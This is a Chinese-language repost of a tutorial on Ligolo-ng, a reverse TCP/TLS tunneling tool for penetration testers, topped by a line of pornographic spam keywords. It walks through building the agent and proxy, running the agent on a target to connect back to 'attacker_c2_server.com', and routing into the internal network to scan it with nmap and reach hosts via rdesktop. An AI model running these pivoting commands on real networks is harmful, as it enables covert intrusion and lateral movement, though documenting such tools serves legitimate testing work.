日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

【网络安全】无需SOCKS支持,帮助广大渗透测试人员建立一条隐蔽的通信信道

發(fā)布時間:2025/3/21 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【网络安全】无需SOCKS支持,帮助广大渗透测试人员建立一条隐蔽的通信信道 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

關(guān)于Ligolo-ng

Ligolo-ng是一款高級信道工具,該工具基于TUN接口實現(xiàn)其功能。Ligolo-ng是一款輕量級的快速工具,可以幫助廣大滲透測試人員利用反向TCP/TLS連接建立一條隱蔽的通信信道,而且無需SOCKS支持。

功能介紹

Tun接口(不再需要SOCKS);

簡單的UI界面,支持選擇代理和網(wǎng)絡(luò)信息;

易于使用,易于安裝;

基于Let’s Encrypt的自動化證書配置;

高性能(多路復(fù)用);

不需要高級權(quán)限;

套接字監(jiān)聽/代理綁定;

多平臺代理支持;

工具構(gòu)建

構(gòu)建Ligolo-ng

$ go build -o agent cmd/agent/main.go$ go build -o proxy cmd/proxy/main.go# Build agent for Windows$ GOOS=windows go build -o agent.exe cmd/agent/main.go

安裝Ligolo-ng
我們需要在自己的命令控制服務(wù)器上開啟代理服務(wù),默認使用11601端口監(jiān)聽:

$ sudo ip tuntap add user [your_username] mode tun ligolo$ sudo ip link set ligolo up$ ./proxy -h # Help options$ ./proxy -autocert # Automatically request LetsEncrypt certificates

工具使用

首先,我們需要在目標設(shè)備上啟動代理(無需特殊權(quán)限):

$ ./agent -connect attacker_c2_server.com:11601

此時,代理服務(wù)器上將出現(xiàn)一條會話鏈接:

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

使用“session”命令選擇代理:

ligolo-ng ? session? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

使用“ifconfig”命令顯示代理的網(wǎng)絡(luò)配置信息:

[Agent : nchatelain@nworkstation] ? ifconfig[...]┌─────────────────────────────────────────────┐│ Interface 3 │├──────────────┬──────────────────────────────┤│ Name │ wlp3s0 ││ Hardware MAC │ de:ad:be:ef:ca:fe ││ MTU │ 1500 ││ Flags │ up|broadcast|multicast ││ IPv4 Address │ 192.168.0.30/24 │└──────────────┴──────────────────────────────┘

在代理/中繼服務(wù)器上添加一條指向192.168.0.0/24代理網(wǎng)絡(luò)的路由:

$ sudo ip route add 192.168.0.0/24 dev ligolo

最后,在代理上開啟一條通信信道:

[Agent : nchatelain@nworkstation] ? start[Agent : nchatelain@nworkstation] ? INFO[0690] Starting tunnel to nchatelain@nworkstation

現(xiàn)在,你就可以通過代理服務(wù)器訪問192.168.0.0/24代理網(wǎng)絡(luò):

$ nmap 192.168.0.0/24 -v -sV -n[...]$ rdesktop 192.168.0.123[...]

支持的協(xié)議/數(shù)據(jù)包

TCP

UDP

ICMP

性能

在Ligolo-ng的幫助下,你可以輕松達到100 Mbits/秒的速度。下面給出的測試結(jié)果是在一臺200Mbits/s服務(wù)器上使用iperf測試的一條200Mbits/s的鏈接:

$ iperf3 -c 10.10.0.1 -p 24483Connecting to host 10.10.0.1, port 24483[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483[ ID] Interval Transfer Bitrate Retr Cwnd[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes [ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes [ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes [ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes [ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes [ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes [ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes [ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes [ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes [ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes - - - - - - - - - - - - - - - - - - - - - - - - -[ ID] Interval Transfer Bitrate Retr[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

注意事項

由于代理并不是以高級權(quán)限運行的,因此無法轉(zhuǎn)發(fā)原始數(shù)據(jù)包。當你執(zhí)行“NMAP SYN-SCAN”的時候,代理上會執(zhí)行一次TCP connect()。

在使用Nmap時,你應(yīng)該使用“–unprivileged”或“-PE”以避免假陽性。

工具使用演示

視頻地址:【點我觀看】

網(wǎng)絡(luò)安全學(xué)習(xí)攻略

總結(jié)

以上是生活随笔為你收集整理的【网络安全】无需SOCKS支持,帮助广大渗透测试人员建立一条隐蔽的通信信道的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。